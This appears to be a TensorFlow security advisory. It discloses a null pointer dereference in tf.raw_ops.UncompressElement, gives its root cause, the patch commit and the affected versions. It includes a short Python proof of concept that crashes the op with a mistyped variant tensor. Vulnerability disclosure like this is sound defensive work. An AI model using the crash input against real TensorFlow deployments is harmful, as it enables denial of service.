Null pointer dereference in `UncompressElement`
### Impact
The code for `tf.raw_ops.UncompressElement` can be made to trigger a null pointer dereference:
```python
import tensorflow as tf
data = tf.data.Dataset.from_tensors([0.0])
tf.raw_ops.UncompressElement(
compressed=tf.data.experimental.to_variant(data),
output_types=[tf.int64],
output_shapes=[2])
```
The implementation
https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/data/experimental/compression_ops.cc#L50-L53 obtains a pointer to a `CompressedElement` from a `Variant` tensor and then proceeds to dereference it for decompressing. There is no check that the `Variant` tensor contained a `CompressedElement`, so the pointer is actually `nullptr`.
### Patches
We have patched the issue in GitHub commit 7bdf50bb4f5c54a4997c379092888546c97c3ebd
https://github.com/tensorflow/tensorflow/commit/7bdf50bb4f5c54a4997c379092888546c97c3ebd.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.